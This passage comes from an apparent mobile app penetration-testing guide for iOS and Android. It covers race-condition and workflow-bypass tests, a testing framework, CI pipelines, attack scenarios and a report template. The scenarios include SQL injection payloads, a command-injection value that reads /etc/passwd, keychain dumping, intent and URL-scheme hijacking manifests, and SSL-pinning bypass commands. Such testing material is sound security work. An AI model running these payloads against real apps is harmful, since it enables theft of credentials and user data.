    # Test concurrent requests to exploit race conditions
    url = "https://api.example.com/transfer"
    data = {"from": "account1", "to": "account2", "amount": 100}
    
    threads = []
    for i in range(10):  # Send 10 concurrent requests
        thread = threading.Thread(target=make_request, args=(url, data))
        threads.append(thread)
    
    # Start all threads simultaneously
    for thread in threads:
        thread.start()
    
    for thread in threads:
        thread.join()

race_condition_test()
EOF

# Parameter manipulation testing:
# Original request: {"user_id": 123, "amount": 100}
# Test variations:
# {"user_id": 456, "amount": 100}  # Horizontal privilege escalation
# {"user_id": 123, "amount": -100} # Negative amount
# {"user_id": 123, "amount": 999999} # Large amount
# {"admin": true, "user_id": 123, "amount": 100} # Additional parameters

Workflow Bypass Testing:

# Multi-step process bypass example:
# Normal flow: Step1 -> Step2 -> Step3 -> Complete
# Test: Step1 -> Complete (bypass Step2 and Step3)

# Example API calls:
curl -X POST https://api.example.com/purchase/step1 -d '{"item":"laptop"}'
# Skip step2 and step3
curl -X POST https://api.example.com/purchase/complete -d '{"payment_confirmed":true}'

Automated Testing Frameworks
#

Mobile-Specific Testing Frameworks:

# Appium for automated UI testing:
pip install Appium-Python-Client
# Setup Appium server and write UI test scripts

# Calabash (cross-platform):
gem install calabash-cucumber
gem install calabash-android

# Detox (React Native):
npm install -g detox-cli

# XCUITest (iOS native):
# Use Xcode to create UI test targets

Custom Testing Framework:

# mobile_security_tester.py
import subprocess
import json
import requests
from pathlib import Path

class MobileSecurityTester:
    def __init__(self, app_path, device_id=None):
        self.app_path = app_path
        self.device_id = device_id
        self.results = {}
    
    def static_analysis(self):
        """Run static analysis checks"""
        print("[*] Running static analysis...")
        
        # Extract APK/IPA
        if self.app_path.endswith('.apk'):
            self.android_static_analysis()
        elif self.app_path.endswith('.ipa'):
            self.ios_static_analysis()
    
    def android_static_analysis(self):
        """Android-specific static analysis"""
        # Decompile APK
        subprocess.run(['apktool', 'd', self.app_path, '-o', 'app_decompiled'])
        
        # Check for dangerous permissions
        manifest_path = Path('app_decompiled/AndroidManifest.xml')
        if manifest_path.exists():
            with open(manifest_path) as f:
                manifest = f.read()
                dangerous_perms = [
                    'WRITE_EXTERNAL_STORAGE', 'READ_EXTERNAL_STORAGE',
                    'CAMERA', 'RECORD_AUDIO', 'ACCESS_FINE_LOCATION'
                ]
                found_perms = [p for p in dangerous_perms if p in manifest]
                self.results['dangerous_permissions'] = found_perms
        
        # Check for exported components
        exported_components = []
        if 'android:exported="true"' in manifest:
            exported_components.append("Found exported components")
        self.results['exported_components'] = exported_components
    
    def dynamic_analysis(self):
        """Run dynamic analysis with Frida"""
        print("[*] Running dynamic analysis...")
        
        # Start Frida server
        subprocess.run(['adb', 'shell', 'su', '-c', '/data/local/tmp/frida-server &'])
        
        # Run security bypass script
        frida_script = """
        Java.perform(function() {
            // Basic security bypass hooks
            console.log("[*] Security testing script loaded");
        });
        """
        
        with open('test_script.js', 'w') as f:
            f.write(frida_script)
        
        # Execute Frida script
        package_name = self.get_package_name()
        subprocess.run(['frida', '-U', '-l', 'test_script.js', package_name])
    
    def get_package_name(self):
        """Extract package name from APK"""
        result = subprocess.run(['aapt', 'dump', 'badging', self.app_path], 
                              capture_output=True, text=True)
        for line in result.stdout.split('\n'):
            if line.startswith('package:'):
                return line.split("name='")[1].split("'")[0]
        return None
    
    def network_analysis(self):
        """Analyze network traffic"""
        print("[*] Running network analysis...")
        
        # Check for HTTP usage
        if self.app_path.endswith('.apk'):
            subprocess.run(['grep', '-r', 'http://', 'app_decompiled/'])
        
        # Start proxy and capture traffic
        self.results['network_issues'] = []
    
    def generate_report(self):
        """Generate security assessment report"""
        print("\n" + "="*50)
        print("MOBILE SECURITY ASSESSMENT REPORT")
        print("="*50)
        
        for category, findings in self.results.items():
            print(f"\n{category.upper()}:")
            for finding in findings:
                print(f"  - {finding}")
        
        # Save to JSON
        with open('security_report.json', 'w') as f:
            json.dump(self.results, f, indent=2)

# Usage example:
# tester = MobileSecurityTester('app.apk')
# tester.static_analysis()
# tester.dynamic_analysis()
# tester.generate_report()

Continuous Security Testing
#

CI/CD Integration:

# .github/workflows/mobile-security.yml
name: Mobile Security Testing

on:
  push:
    branches: [ main, develop ]
  pull_request:
    branches: [ main ]

jobs:
  security-scan:
    runs-on: ubuntu-latest
    
    steps:
    - uses: actions/checkout@v2
    
    - name: Set up Python
      uses: actions/setup-python@v2
      with:
        python-version: 3.9
    
    - name: Install dependencies
      run: |
        pip install qark mobsfscan
        sudo apt-get install -y apktool
    
    - name: Run QARK Analysis
      run: |
        qark --java ./app/src/main/java --report-type json --output qark-report.json
    
    - name: Run MobSF Scan
      run: |
        mobsfscan ./app --json --output mobsf-report.json
    
    - name: Upload Security Reports
      uses: actions/upload-artifact@v2
      with:
        name: security-reports
        path: |
          qark-report.json
          mobsf-report.json

Custom Security Testing Pipeline:

#!/bin/bash
# mobile_security_pipeline.sh

APP_PATH="$1"
DEVICE_ID="$2"

echo "[*] Starting Mobile Security Testing Pipeline"

# Static Analysis
echo "[*] Running Static Analysis..."
mobsfscan "$APP_PATH" --json --output static-analysis.json

# Extract APK for manual analysis
if [[ "$APP_PATH" == *.apk ]]; then
    echo "[*] Extracting APK..."
    apktool d "$APP_PATH" -o app_extracted -f
    
    # Check for common vulnerabilities
    echo "[*] Checking for hardcoded secrets..."
    grep -r -i -E "(password|secret|key|token)" app_extracted/ > secrets_check.txt
    
    # Check permissions
    echo "[*] Analyzing permissions..."
    grep "uses-permission" app_extracted/AndroidManifest.xml > permissions.txt
    
    # Check for exported components
    echo "[*] Checking exported components..."
    grep -A 5 'android:exported="true"' app_extracted/AndroidManifest.xml > exported_components.txt
fi

# Dynamic Analysis Setup
echo "[*] Setting up dynamic analysis..."
if [ ! -z "$DEVICE_ID" ]; then
    # Install app on device
    adb -s "$DEVICE_ID" install "$APP_PATH"
    
    # Start Frida server
    adb -s "$DEVICE_ID" shell "su -c '/data/local/tmp/frida-server &'"
    
    # Run basic security tests
    PACKAGE_NAME=$(aapt dump badging "$APP_PATH" | grep package | sed "s/.*name='\([^']*\)'.*/\1/")
    
    echo "[*] Testing app: $PACKAGE_NAME"
    
    # Test with objection
    timeout 60 objection -g "$PACKAGE_NAME" run "android sslpinning disable" "android root disable"
fi

# Generate final report
echo "[*] Generating security report..."
cat > security_report.html << EOF
<!DOCTYPE html>
<html>
<head>
    <title>Mobile Security Assessment Report</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 40px; }
        .high { color: red; font-weight: bold; }
        .medium { color: orange; font-weight: bold; }
        .low { color: green; }
        .finding { margin: 10px 0; padding: 10px; border-left: 4px solid #ccc; }
    </style>
</head>
<body>
    <h1>Mobile Security Assessment Report</h1>
    <h2>Application: $(basename "$APP_PATH")</h2>
    <h2>Date: $(date)</h2>
    
    <h3>Static Analysis Results:</h3>
    <div class="finding">
        <h4>Hardcoded Secrets Check:</h4>
        <pre>$(cat secrets_check.txt 2>/dev/null || echo "No secrets found")</pre>
    </div>
    
    <div class="finding">
        <h4>Permissions Analysis:</h4>
        <pre>$(cat permissions.txt 2>/dev/null || echo "No permissions file")</pre>
    </div>
    
    <div class="finding">
        <h4>Exported Components:</h4>
        <pre>$(cat exported_components.txt 2>/dev/null || echo "No exported components found")</pre>
    </div>
    
    <h3>Recommendations:</h3>
    <ul>
        <li>Remove any hardcoded credentials or sensitive information</li>
        <li>Implement proper certificate pinning</li>
        <li>Add root/jailbreak detection if appropriate</li>
        <li>Ensure exported components have proper access controls</li>
        <li>Use encrypted storage for sensitive data</li>
    </ul>
</body>
</html>
EOF

echo "[*] Security assessment complete. Report saved as security_report.html"

Mobile-Specific Attack Scenarios
#

iOS Attack Scenarios
#

Scenario 1: iCloud Keychain Exploitation

# Test keychain access on jailbroken device
# SSH into device and examine keychain
ssh root@<iOS_DEVICE_IP>

# Dump keychain items
/usr/bin/keychain_dumper

# Look for app-specific keychain items
sqlite3 /var/Keychains/keychain-2.db "SELECT * FROM inet WHERE srvr LIKE '%appname%';"

# Extract keychain data using objection
objection -g <bundle_id> explore
ios keychain dump --json

Scenario 2: URL Scheme Hijacking

# Create malicious app with same URL scheme
# In Info.plist of malicious app:
<key>CFBundleURLTypes</key>
<array>
    <dict>
        <key>CFBundleURLName</key>
        <string>com.victim.app.url</string>
        <key>CFBundleURLSchemes</key>
        <array>
            <string>victimapp</string>
        </array>
    </dict>
</array>

# Test URL scheme interception
adb shell am start -W -a android.intent.action.VIEW -d "victimapp://sensitive?token=12345"

Scenario 3: Pasteboard (Clipboard) Data Leakage

// Frida script to monitor pasteboard
ObjC.choose(ObjC.classes.UIPasteboard, {
    onMatch: function(instance) {
        console.log("[*] Found UIPasteboard instance");
        
        // Hook string property
        var originalString = instance.string;
        Object.defineProperty(instance, 'string', {
            get: function() {
                var value = originalString.call(this);
                console.log("[*] Pasteboard read: " + value);
                return value;
            },
            set: function(value) {
                console.log("[*] Pasteboard write: " + value);
                return originalString.call(this, value);
            }
        });
    },
    onComplete: function() {}
});

Android Attack Scenarios
#

Scenario 1: Intent Redirection Attack

# Create malicious app to intercept intents
# In AndroidManifest.xml:
<activity android:name=".MaliciousActivity" android:exported="true">
    <intent-filter android:priority="1000">
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.BROWSABLE" />
        <data android:scheme="victimapp" />
    </intent-filter>
</activity>

# Test intent interception
adb shell am start -W -a android.intent.action.VIEW -d "victimapp://transfer?amount=1000&to=attacker"

Scenario 2: Content Provider SQL Injection

# Test content provider for SQL injection
adb shell content query --uri "content://com.victim.app.provider/users" --where "id=1"

# SQL injection payloads
adb shell content query --uri "content://com.victim.app.provider/users" --where "id=1' OR '1'='1"
adb shell content query --uri "content://com.victim.app.provider/users" --where "id=1' UNION SELECT password FROM admin--"

# Test with different injection points
adb shell content query --uri "content://com.victim.app.provider/users/1' OR '1'='1--"

Scenario 3: Broadcast Receiver Exploitation

# Send malicious broadcasts to exported receivers
adb shell am broadcast -a com.victim.app.ACTION_UPDATE --es "config" "malicious_payload"

# Test for command injection in broadcast data
adb shell am broadcast -a com.victim.app.ACTION_BACKUP --es "path" "/data/data/com.victim.app/; cat /etc/passwd"

# Test privilege escalation through broadcasts
adb shell am broadcast -a com.victim.app.ADMIN_ACTION --ez "is_admin" true

Reporting and Documentation
#

Security Assessment Report Template:

# Mobile Application Security Assessment

## Executive Summary
- **Application:** [App Name] v[Version]
- **Platform:** [iOS/Android/Both]
- **Assessment Date:** [Date]
- **Assessor:** [Name]

### Risk Summary
- **Critical:** X issues
- **High:** X issues  
- **Medium:** X issues
- **Low:** X issues

## Methodology
### Static Analysis
- Code review using [tools used]
- Manifest/plist analysis
- Binary analysis

### Dynamic Analysis
- Runtime manipulation using Frida/Objection
- Network traffic analysis
- Data storage examination

## Findings

### [CRITICAL] Hardcoded API Keys
**Description:** API keys hardcoded in application binary
**Location:** [File/Class/Method]
**Impact:** Unauthorized API access, data breach
**Evidence:** 

[Code snippet or screenshot]

**Recommendation:** Use secure key management, environment variables

### [HIGH] SSL Certificate Pinning Bypass
**Description:** Application vulnerable to MITM attacks
**Testing Method:** [Steps to reproduce]
**Impact:** Sensitive data interception
**Recommendation:** Implement proper certificate pinning

## Risk Assessment Matrix

| Finding | Likelihood | Impact | Risk Level |
|---------|------------|---------|------------|
| Hardcoded Secrets | High | High | Critical |
| Weak Crypto | Medium | High | High |
| Info Disclosure | High | Medium | High |

## Remediation Timeline
- **Critical/High:** 30 days
- **Medium:** 60 days  
- **Low:** 90 days

## Conclusion
[Summary of key findings and overall security posture]

Final Best Practices
#

Development Security Guidelines:

## Secure Mobile Development Checklist

### Data Protection
- [ ] Use encrypted storage for sensitive data
- [ ] Implement proper keychain/keystore usage
- [ ] Avoid logging sensitive information
- [ ] Use secure communication protocols

### Authentication & Authorization  
- [ ] Implement strong authentication mechanisms
- [ ] Use secure session management
- [ ] Implement proper authorization checks
- [ ] Add biometric authentication where appropriate

### Network Security
- [ ] Implement certificate pinning
- [ ] Use TLS 1.2 or higher
- [ ] Validate all certificates
- [ ] Avoid HTTP for sensitive data

### Code Protection
- [ ] Implement anti-tampering measures
- [ ] Add obfuscation for sensitive code
- [ ] Remove debug code from production
- [ ] Implement integrity checks

### Input Validation
- [ ] Validate all user inputs
- [ ] Sanitize data for database queries
- [ ] Implement proper error handling
- [ ] Use parameterized queries

### Testing Requirements
- [ ] Conduct regular security assessments
- [ ] Implement automated security testing
- [ ] Perform penetration testing
- [ ] Review third-party dependencies